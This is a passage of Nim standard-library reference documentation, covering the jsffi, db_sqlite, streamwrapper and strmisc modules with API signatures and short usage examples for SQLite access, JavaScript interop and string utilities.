JsAssoc[K, V]): V ``` Yields the `values` in a JsAssoc. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jsffi.nim#L387) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jsffi.nim#L387) ``` iterator keys[K: JsKey; V](assoc: JsAssoc[K, V]): K ``` Yields the `keys` in a JsAssoc. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jsffi.nim#L396) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jsffi.nim#L396) Macros ------ ``` macro jsFromAst(n: untyped): untyped ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jsffi.nim#L158) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jsffi.nim#L158) ``` macro `.`(obj: JsObject; field: untyped): JsObject ``` Experimental dot accessor (get) for type JsObject. Returns the value of a property of name `field` from a JsObject `x`. Example: ``` let obj = newJsObject() obj.a = 20 console.log(obj.a) # puts 20 onto the console. ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jsffi.nim#L220) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jsffi.nim#L220) ``` macro `.=`(obj: JsObject; field, value: untyped): untyped ``` Experimental dot accessor (set) for type JsObject. Sets the value of a property of name `field` in a JsObject `x` to `value`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jsffi.nim#L246) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jsffi.nim#L246) ``` macro `.()`(obj: JsObject; field: untyped; args: varargs[JsObject, jsFromAst]): JsObject ``` Experimental "method call" operator for type JsObject. Takes the name of a method of the JavaScript object (`field`) and calls it with `args` as arguments, returning a JsObject (which may be discarded, and may be `undefined`, if the method does not return anything, so be careful when using this.) Example: ``` # Let's get back to the console example: var console {.importc, nodecl.}: JsObject let res = console.log("I return undefined!") console.log(res) # This prints undefined, as console.log always returns # undefined. Thus one has to be careful, when using # JsObject calls. ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jsffi.nim#L264) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jsffi.nim#L264) ``` macro `.`[K: cstring; V](obj: JsAssoc[K, V]; field: untyped): V ``` Experimental dot accessor (get) for type JsAssoc. Returns the value of a property of name `field` from a JsObject `x`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jsffi.nim#L299) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jsffi.nim#L299) ``` macro `.=`[K: cstring; V](obj: JsAssoc[K, V]; field: untyped; value: V): untyped ``` Experimental dot accessor (set) for type JsAssoc. Sets the value of a property of name `field` in a JsObject `x` to `value`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jsffi.nim#L315) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jsffi.nim#L315) ``` macro `.()`[K: cstring; V: proc](obj: JsAssoc[K, V]; field: untyped; args: varargs[untyped]): auto ``` Experimental "method call" operator for type JsAssoc. Takes the name of a method of the JavaScript object (`field`) and calls it with `args` as arguments. Here, everything is typechecked, so you do not have to worry about `undefined` return values. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jsffi.nim#L332) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jsffi.nim#L332) ``` macro `{}`(typ: typedesc; xs: varargs[untyped]): auto ``` Takes a `typedesc` as its first argument, and a series of expressions of type `key: value`, and returns a value of the specified type with each field `key` set to `value`, as specified in the arguments of `{}`. Example: ``` # Let's say we have a type with a ton of fields, where some fields do not # need to be set, and we do not want those fields to be set to ``nil``: type ExtremelyHugeType = ref object a, b, c, d, e, f, g: int h, i, j, k, l: cstring # And even more fields ... let obj = ExtremelyHugeType{ a: 1, k: "foo".cstring, d: 42 } # This generates roughly the same JavaScript as: {.emit: "var obj = {a: 1, k: "foo", d: 42};".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jsffi.nim#L406) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jsffi.nim#L406) ``` macro bindMethod(procedure: typed): auto ``` Takes the name of a procedure and wraps it into a lambda missing the first argument, which passes the JavaScript builtin `this` as the first argument to the procedure. Returns the resulting lambda. Example: We want to generate roughly this JavaScript: ``` var obj = {a: 10}; obj.someMethod = function() { return this.a + 42; }; ``` We can achieve this using the `bindMethod` macro: ``` let obj = JsObject{ a: 10 } proc someMethodImpl(that: JsObject): int = that.a.to(int) + 42 obj.someMethod = bindMethod someMethodImpl # Alternatively: obj.someMethod = bindMethod proc(that: JsObject): int = that.a.to(int) + 42 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jsffi.nim#L469) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jsffi.nim#L469) Templates --------- ``` template toJs(s: string): JsObject ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jsffi.nim#L156) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jsffi.nim#L156)
programming_docs
nim db_sqlite db\_sqlite ========== A higher level SQLite database wrapper. This interface is implemented for other databases too. Basic usage ----------- The basic flow of using this module is: 1. Open database connection 2. Execute SQL query 3. Close database connection ### Parameter substitution All `db_*` modules support the same form of parameter substitution. That is, using the `?` (question mark) to signify the place where a value should be placed. For example: ``` sql"INSERT INTO my_table (colA, colB, colC) VALUES (?, ?, ?)" ``` ### Opening a connection to a database ``` import db_sqlite # user, password, database name can be empty. # These params are not used on db_sqlite module. let db = open("mytest.db", "", "", "") db.close() ``` ### Creating a table ``` db.exec(sql"DROP TABLE IF EXISTS my_table") db.exec(sql"""CREATE TABLE my_table ( id INTEGER, name VARCHAR(50) NOT NULL )""") ``` ### Inserting data ``` db.exec(sql"INSERT INTO my_table (id, name) VALUES (0, ?)", "Jack") ``` ### Larger example ``` import db_sqlite, math let db = open("mytest.db", "", "", "") db.exec(sql"DROP TABLE IF EXISTS my_table") db.exec(sql"""CREATE TABLE my_table ( id INTEGER PRIMARY KEY, name VARCHAR(50) NOT NULL, i INT(11), f DECIMAL(18, 10) )""") db.exec(sql"BEGIN") for i in 1..1000: db.exec(sql"INSERT INTO my_table (name, i, f) VALUES (?, ?, ?)", "Item#" & $i, i, sqrt(i.float)) db.exec(sql"COMMIT") for x in db.fastRows(sql"SELECT * FROM my_table"): echo x let id = db.tryInsertId(sql"""INSERT INTO my_table (name, i, f) VALUES (?, ?, ?)""", "Item#1001", 1001, sqrt(1001.0)) echo "Inserted item: ", db.getValue(sql"SELECT name FROM my_table WHERE id=?", id) db.close() ``` Note ---- This module does not implement any ORM features such as mapping the types from the schema. Instead, a `seq[string]` is returned for each row. The reasoning is as follows: 1. it's close to what many DBs offer natively (char\*\*) 2. it hides the number of types that the DB supports (int? int64? decimal up to 10 places? geo coords?) 3. it's convenient when all you do is to forward the data to somewhere else (echo, log, put the data into a new query) See also -------- * [db\_odbc module](db_odbc) for ODBC database wrapper * [db\_mysql module](db_mysql) for MySQL database wrapper * [db\_postgres module](db_postgres) for PostgreSQL database wrapper Imports ------- <sqlite3>, <macros>, <db_common>, <since> Types ----- ``` DbConn = PSqlite3 ``` Encapsulates a database connection. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_sqlite.nim#L126) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_sqlite.nim#L126) ``` Row = seq[string] ``` A row of a dataset. `NULL` database values will be converted to an empty string. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_sqlite.nim#L127) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_sqlite.nim#L127) ``` InstantRow = PStmt ``` A handle that can be used to get a row's column text on demand. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_sqlite.nim#L129) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_sqlite.nim#L129) ``` SqlPrepared = distinct PStmt ``` a identifier for the prepared queries [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_sqlite.nim#L131) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_sqlite.nim#L131) Procs ----- ``` proc `[]`(row: InstantRow; col: int32): string {...}{.inline, raises: [], tags: [].} ``` Returns text for given column of the row. See also: * [instantRows iterator](#instantRows.i,DbConn,SqlQuery,varargs%5Bstring,%5D) example code [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_sqlite.nim#L412) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_sqlite.nim#L412) ``` proc len(row: InstantRow): int32 {...}{.inline, raises: [], tags: [].} ``` Returns number of columns in a row. See also: * [instantRows iterator](#instantRows.i,DbConn,SqlQuery,varargs%5Bstring,%5D) example code [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_sqlite.nim#L428) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_sqlite.nim#L428) ``` proc finalize(sqlPrepared: SqlPrepared) {...}{.discardable, raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_sqlite.nim#L726) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_sqlite.nim#L726) ``` proc dbQuote(s: string): string {...}{.raises: [], tags: [].} ``` Escapes the `'` (single quote) char to `''`. Because single quote is used for defining `VARCHAR` in SQL. **Example:** ``` doAssert dbQuote("'") == "''''" doAssert dbQuote("A Foobar's pen.") == "'A Foobar''s pen.'" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_sqlite.nim#L149) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_sqlite.nim#L149) ``` proc tryExec(db: DbConn; stmtName: SqlPrepared): bool {...}{. tags: [ReadDbEffect, WriteDbEffect], raises: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_sqlite.nim#L202) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_sqlite.nim#L202) ``` proc bindParam(ps: SqlPrepared; paramIdx: int; val: int32) {...}{.raises: [DbError], tags: [].} ``` Binds a int32 to the specified paramIndex. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_sqlite.nim#L736) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_sqlite.nim#L736) ``` proc bindParam(ps: SqlPrepared; paramIdx: int; val: int64) {...}{.raises: [DbError], tags: [].} ``` Binds a int64 to the specified paramIndex. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_sqlite.nim#L741) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_sqlite.nim#L741) ``` proc bindParam(ps: SqlPrepared; paramIdx: int; val: float64) {...}{. raises: [DbError], tags: [].} ``` Binds a 64bit float to the specified paramIndex. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_sqlite.nim#L753) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_sqlite.nim#L753) ``` proc bindParam(ps: SqlPrepared; paramIdx: int; val: string; copy = true) {...}{. raises: [Exception, DbError], tags: [].} ``` Binds a string to the specified paramIndex. if copy is true then SQLite makes its own private copy of the data immediately [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_sqlite.nim#L764) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_sqlite.nim#L764) ``` proc bindParam(ps: SqlPrepared; paramIdx: int; val: openArray[byte]; copy = true) {...}{. raises: [Exception, DbError], tags: [].} ``` binds a blob to the specified paramIndex. if copy is true then SQLite makes its own private copy of the data immediately [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_sqlite.nim#L770) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_sqlite.nim#L770) ``` proc bindParam(ps: SqlPrepared; paramIdx: int; val: int) {...}{.raises: [DbError], tags: [].} ``` Binds a int to the specified paramIndex. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_sqlite.nim#L746) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_sqlite.nim#L746) ``` proc bindNull(ps: SqlPrepared; paramIdx: int) {...}{.raises: [DbError], tags: [].} ``` Sets the bindparam at the specified paramIndex to null (default behaviour by sqlite). [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_sqlite.nim#L758) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_sqlite.nim#L758) ``` proc dbError(db: DbConn) {...}{.noreturn, raises: [DbError], tags: [].} ``` Raises a `DbError` exception. **Examples:** ``` let db = open("mytest.db", "", "", "") if not db.tryExec(sql"SELECT * FROM not_exist_table"): dbError(db) db.close() ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_sqlite.nim#L133) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_sqlite.nim#L133) ``` proc prepare(db: DbConn; q: string): SqlPrepared {...}{.raises: [DbError], tags: [].} ``` Creates a new `SqlPrepared` statement. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_sqlite.nim#L172) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_sqlite.nim#L172) ``` proc tryExec(db: DbConn; query: SqlQuery; args: varargs[string, `$`]): bool {...}{. tags: [ReadDbEffect, WriteDbEffect], raises: [].} ``` Tries to execute the query and returns `true` if successful, `false` otherwise. **Examples:** ``` let db = open("mytest.db", "", "", "") if not db.tryExec(sql"SELECT * FROM my_table"): dbError(db) db.close() ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_sqlite.nim#L178) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_sqlite.nim#L178) ``` proc exec(db: DbConn; query: SqlQuery; args: varargs[string, `$`]) {...}{. tags: [ReadDbEffect, WriteDbEffect], raises: [DbError].} ``` Executes the query and raises a `DbError` exception if not successful. **Examples:** ``` let db = open("mytest.db", "", "", "") try: db.exec(sql"INSERT INTO my_table (id, name) VALUES (?, ?)", 1, "item#1") except: stderr.writeLine(getCurrentExceptionMsg()) finally: db.close() ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_sqlite.nim#L211) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_sqlite.nim#L211) ``` proc close(db: DbConn) {...}{.tags: [DbEffect], raises: [DbError].} ``` Closes the database connection. **Examples:** ``` let db = open("mytest.db", "", "", "") db.close() ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_sqlite.nim#L679) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_sqlite.nim#L679) ``` proc open(connection, user, password, database: string): DbConn {...}{. tags: [DbEffect], raises: [DbError].} ``` Opens a database connection. Raises a `DbError` exception if the connection could not be established. **Note:** Only the `connection` parameter is used for `sqlite`. **Examples:** ``` try: let db = open("mytest.db", "", "", "") ## do something... ## db.getAllRows(sql"SELECT * FROM my_table") db.close() except: stderr.writeLine(getCurrentExceptionMsg()) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_sqlite.nim#L690) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_sqlite.nim#L690) ``` proc unsafeColumnAt(row: InstantRow; index: int32): cstring {...}{.inline, raises: [], tags: [].} ``` Returns cstring for given column of the row. See also: * [instantRows iterator](#instantRows.i,DbConn,SqlQuery,varargs%5Bstring,%5D) example code [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_sqlite.nim#L420) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_sqlite.nim#L420) ``` proc getRow(db: DbConn; query: SqlQuery; args: varargs[string, `$`]): Row {...}{. tags: [ReadDbEffect], raises: [DbError].} ``` Retrieves a single row. If the query doesn't return any rows, this proc will return a `Row` with empty strings for each column. **Examples:** ``` let db = open("mytest.db", "", "", "") # Records of my_table: # | id | name | # |----|----------| # | 1 | item#1 | # | 2 | item#2 | doAssert db.getRow(sql"SELECT id, name FROM my_table" ) == Row(@["1", "item#1"]) doAssert db.getRow(sql"SELECT id, name FROM my_table WHERE id = ?", 2) == Row(@["2", "item#2"]) # Returns empty. doAssert db.getRow(sql"INSERT INTO my_table (id, name) VALUES (?, ?)", 3, "item#3") == @[] doAssert db.getRow(sql"DELETE FROM my_table WHERE id = ?", 3) == @[] doAssert db.getRow(sql"UPDATE my_table SET name = 'ITEM#1' WHERE id = ?", 1) == @[] db.close() ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_sqlite.nim#L436) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_sqlite.nim#L436) ``` proc getAllRows(db: DbConn; query: SqlQuery; args: varargs[string, `$`]): seq[ Row] {...}{.tags: [ReadDbEffect], raises: [DbError].} ``` Executes the query and returns the whole result dataset. **Examples:** ``` let db = open("mytest.db", "", "", "") # Records of my_table: # | id | name | # |----|----------| # | 1 | item#1 | # | 2 | item#2 | doAssert db.getAllRows(sql"SELECT id, name FROM my_table") == @[Row(@["1", "item#1"]), Row(@["2", "item#2"])] db.close() ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_sqlite.nim#L472) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_sqlite.nim#L472) ``` proc getAllRows(db: DbConn; stmtName: SqlPrepared): seq[Row] {...}{. tags: [ReadDbEffect, WriteDbEffect], raises: [DbError].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_sqlite.nim#L494) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_sqlite.nim#L494) ``` proc getValue(db: DbConn; query: SqlQuery; args: varargs[string, `$`]): string {...}{. tags: [ReadDbEffect], raises: [DbError].} ``` Executes the query and returns the first column of the first row of the result dataset. Returns `""` if the dataset contains no rows or the database value is `NULL`. **Examples:** ``` let db = open("mytest.db", "", "", "") # Records of my_table: # | id | name | # |----|----------| # | 1 | item#1 | # | 2 | item#2 | doAssert db.getValue(sql"SELECT name FROM my_table WHERE id = ?", 2) == "item#2" doAssert db.getValue(sql"SELECT id, name FROM my_table") == "1" doAssert db.getValue(sql"SELECT name, id FROM my_table") == "item#1" db.close() ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_sqlite.nim#L531) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_sqlite.nim#L531) ``` proc getValue(db: DbConn; stmtName: SqlPrepared): string {...}{. tags: [ReadDbEffect, WriteDbEffect], raises: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_sqlite.nim#L567) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_sqlite.nim#L567) ``` proc tryInsertID(db: DbConn; query: SqlQuery; args: varargs[string, `$`]): int64 {...}{. tags: [WriteDbEffect], raises: [].} ``` Executes the query (typically "INSERT") and returns the generated ID for the row or -1 in case of an error. **Examples:** ``` let db = open("mytest.db", "", "", "") db.exec(sql"CREATE TABLE my_table (id INTEGER, name VARCHAR(50) NOT NULL)") doAssert db.tryInsertID(sql"INSERT INTO not_exist_table (id, name) VALUES (?, ?)", 1, "item#1") == -1 db.close() ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_sqlite.nim#L580) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_sqlite.nim#L580) ``` proc insertID(db: DbConn; query: SqlQuery; args: varargs[string, `$`]): int64 {...}{. tags: [WriteDbEffect], raises: [DbError].} ``` Executes the query (typically "INSERT") and returns the generated ID for the row. Raises a `DbError` exception when failed to insert row. For Postgre this adds `RETURNING id` to the query, so it only works if your primary key is named `id`. **Examples:** ``` let db = open("mytest.db", "", "", "") db.exec(sql"CREATE TABLE my_table (id INTEGER, name VARCHAR(50) NOT NULL)") for i in 0..2: let id = db.insertID(sql"INSERT INTO my_table (id, name) VALUES (?, ?)", i, "item#" & $i) echo "LoopIndex = ", i, ", InsertID = ", id # Output: # LoopIndex = 0, InsertID = 1 # LoopIndex = 1, InsertID = 2 # LoopIndex = 2, InsertID = 3 db.close() ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_sqlite.nim#L608) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_sqlite.nim#L608) ``` proc tryInsert(db: DbConn; query: SqlQuery; pkName: string; args: varargs[string, `$`]): int64 {...}{.tags: [WriteDbEffect], raises: [].} ``` same as tryInsertID [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_sqlite.nim#L637) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_sqlite.nim#L637) ``` proc insert(db: DbConn; query: SqlQuery; pkName: string; args: varargs[string, `$`]): int64 {...}{.tags: [WriteDbEffect], raises: [DbError].} ``` same as insertId [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_sqlite.nim#L643) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_sqlite.nim#L643) ``` proc execAffectedRows(db: DbConn; query: SqlQuery; args: varargs[string, `$`]): int64 {...}{. tags: [ReadDbEffect, WriteDbEffect], raises: [DbError].} ``` Executes the query (typically "UPDATE") and returns the number of affected rows. **Examples:** ``` let db = open("mytest.db", "", "", "") # Records of my_table: # | id | name | # |----|----------| # | 1 | item#1 | # | 2 | item#2 | doAssert db.execAffectedRows(sql"UPDATE my_table SET name = 'TEST'") == 2 db.close() ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_sqlite.nim#L650) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_sqlite.nim#L650) ``` proc execAffectedRows(db: DbConn; stmtName: SqlPrepared): int64 {...}{. tags: [ReadDbEffect, WriteDbEffect], raises: [DbError].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_sqlite.nim#L674) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_sqlite.nim#L674) ``` proc setEncoding(connection: DbConn; encoding: string): bool {...}{.tags: [DbEffect], raises: [DbError].} ``` Sets the encoding of a database connection, returns `true` for success, `false` for failure. **Note:** The encoding cannot be changed once it's been set. According to SQLite3 documentation, any attempt to change the encoding after the database is created will be silently ignored. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_sqlite.nim#L714) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_sqlite.nim#L714) Iterators --------- ``` iterator fastRows(db: DbConn; query: SqlQuery; args: varargs[string, `$`]): Row {...}{. tags: [ReadDbEffect], raises: [DbError, DbError].} ``` Executes the query and iterates over the result dataset. This is very fast, but potentially dangerous. Use this iterator only if you require **ALL** the rows. **Note:** Breaking the `fastRows()` iterator during a loop will cause the next database query to raise a `DbError` exception `unable to close due to ...`. **Examples:** ``` let db = open("mytest.db", "", "", "") # Records of my_table: # | id | name | # |----|----------| # | 1 | item#1 | # | 2 | item#2 | for row in db.fastRows(sql"SELECT id, name FROM my_table"): echo row # Output: # @["1", "item#1"] # @["2", "item#2"] db.close() ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_sqlite.nim#L250) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_sqlite.nim#L250) ``` iterator fastRows(db: DbConn; stmtName: SqlPrepared): Row {...}{. tags: [ReadDbEffect, WriteDbEffect], raises: [DbError].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_sqlite.nim#L291) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_sqlite.nim#L291) ``` iterator instantRows(db: DbConn; query: SqlQuery; args: varargs[string, `$`]): InstantRow {...}{. tags: [ReadDbEffect], raises: [DbError, DbError].} ``` Similar to [fastRows iterator](#fastRows.i,DbConn,SqlQuery,varargs%5Bstring,%5D) but returns a handle that can be used to get column text on demand using `[]`. Returned handle is valid only within the iterator body. **Examples:** ``` let db = open("mytest.db", "", "", "") # Records of my_table: # | id | name | # |----|----------| # | 1 | item#1 | # | 2 | item#2 | for row in db.instantRows(sql"SELECT * FROM my_table"): echo "id:" & row[0] echo "name:" & row[1] echo "length:" & $len(row) # Output: # id:1 # name:item#1 # length:2 # id:2 # name:item#2 # length:2 db.close() ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_sqlite.nim#L303) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_sqlite.nim#L303) ``` iterator instantRows(db: DbConn; stmtName: SqlPrepared): InstantRow {...}{. tags: [ReadDbEffect, WriteDbEffect], raises: [DbError].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_sqlite.nim#L343) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_sqlite.nim#L343) ``` iterator instantRows(db: DbConn; columns: var DbColumns; query: SqlQuery; args: varargs[string, `$`]): InstantRow {...}{. tags: [ReadDbEffect], raises: [DbError, DbError].} ``` Similar to [instantRows iterator](#instantRows.i,DbConn,SqlQuery,varargs%5Bstring,%5D), but sets information about columns to `columns`. **Examples:** ``` let db = open("mytest.db", "", "", "") # Records of my_table: # | id | name | # |----|----------| # | 1 | item#1 | # | 2 | item#2 | var columns: DbColumns for row in db.instantRows(columns, sql"SELECT * FROM my_table"): discard echo columns[0] # Output: # (name: "id", tableName: "my_table", typ: (kind: dbNull, # notNull: false, name: "INTEGER", size: 0, maxReprLen: 0, precision: 0, # scale: 0, min: 0, max: 0, validValues: @[]), primaryKey: false, # foreignKey: false) db.close() ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_sqlite.nim#L374) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_sqlite.nim#L374) ``` iterator rows(db: DbConn; query: SqlQuery; args: varargs[string, `$`]): Row {...}{. tags: [ReadDbEffect], raises: [DbError].} ``` Similar to [fastRows iterator](#fastRows.i,DbConn,SqlQuery,varargs%5Bstring,%5D), but slower and safe. **Examples:** ``` let db = open("mytest.db", "", "", "") # Records of my_table: # | id | name | # |----|----------| # | 1 | item#1 | # | 2 | item#2 | for row in db.rows(sql"SELECT id, name FROM my_table"): echo row ## Output: ## @["1", "item#1"] ## @["2", "item#2"] db.close() ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_sqlite.nim#L500) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_sqlite.nim#L500) ``` iterator rows(db: DbConn; stmtName: SqlPrepared): Row {...}{. tags: [ReadDbEffect, WriteDbEffect], raises: [DbError].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_sqlite.nim#L527) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_sqlite.nim#L527) Macros ------ ``` macro bindParams(ps: SqlPrepared; params: varargs[untyped]): untyped ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_sqlite.nim#L777) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_sqlite.nim#L777) Templates --------- ``` template dbBindParamError(paramIdx: int; val: varargs[untyped]) ``` Raises a `DbError` exception. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_sqlite.nim#L729) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_sqlite.nim#L729) ``` template exec(db: DbConn; stmtName: SqlPrepared; args: varargs[typed]): untyped ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_sqlite.nim#L793) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_sqlite.nim#L793) Exports ------- [DbTypeKind](db_common#DbTypeKind), [sql](db_common#sql.t,string), [DbType](db_common#DbType), [SqlQuery](db_common#SqlQuery), [DbColumn](db_common#DbColumn), [ReadDbEffect](db_common#ReadDbEffect), [DbError](db_common#DbError), [WriteDbEffect](db_common#WriteDbEffect), [dbError](db_common#dbError,string), [DbColumns](db_common#DbColumns), [DbEffect](db_common#DbEffect)
programming_docs
nim streamwrapper streamwrapper ============= This module implements stream wrapper. **Since** version 1.2. Imports ------- <deques>, <streams> Types ----- ``` PipeOutStream[T] = ref object of T buffer: Deque[char] baseReadLineImpl: typeof(StreamObj.readLineImpl) baseReadDataImpl: typeof(StreamObj.readDataImpl) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/streamwrapper.nim#L17) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/streamwrapper.nim#L17) Procs ----- ``` proc newPipeOutStream[T](s: sink (ref T)): owned PipeOutStream[T] ``` Wrap pipe for reading with PipeOutStream so that you can use peek\* procs and generate runtime error when setPosition/getPosition is called or write operation is performed. Example: ``` import osproc, streamwrapper var p = startProcess(exePath) outStream = p.outputStream().newPipeOutStream() echo outStream.peekChar p.close() ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/streamwrapper.nim#L85) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/streamwrapper.nim#L85) nim strmisc strmisc ======= This module contains various string utility routines that are uncommonly used in comparison to <strutils>. Imports ------- <strutils> Procs ----- ``` proc expandTabs(s: string; tabSize: int = 8): string {...}{.noSideEffect, raises: [], tags: [].} ``` Expand tab characters in `s` replacing them by spaces. The amount of inserted spaces for each tab character is the difference between the current column number and the next tab position. Tab positions occur every `tabSize` characters. The column number starts at 0 and is increased with every single character and inserted space, except for newline, which resets the column number back to 0. **Example:** ``` doAssert expandTabs("\t", 4) == " " doAssert expandTabs("\tfoo\t", 4) == " foo " doAssert expandTabs("\tfoo\tbar", 4) == " foo bar" doAssert expandTabs("\tfoo\tbar\t", 4) == " foo bar " doAssert expandTabs("ab\tcd\n\txy\t", 3) == "ab 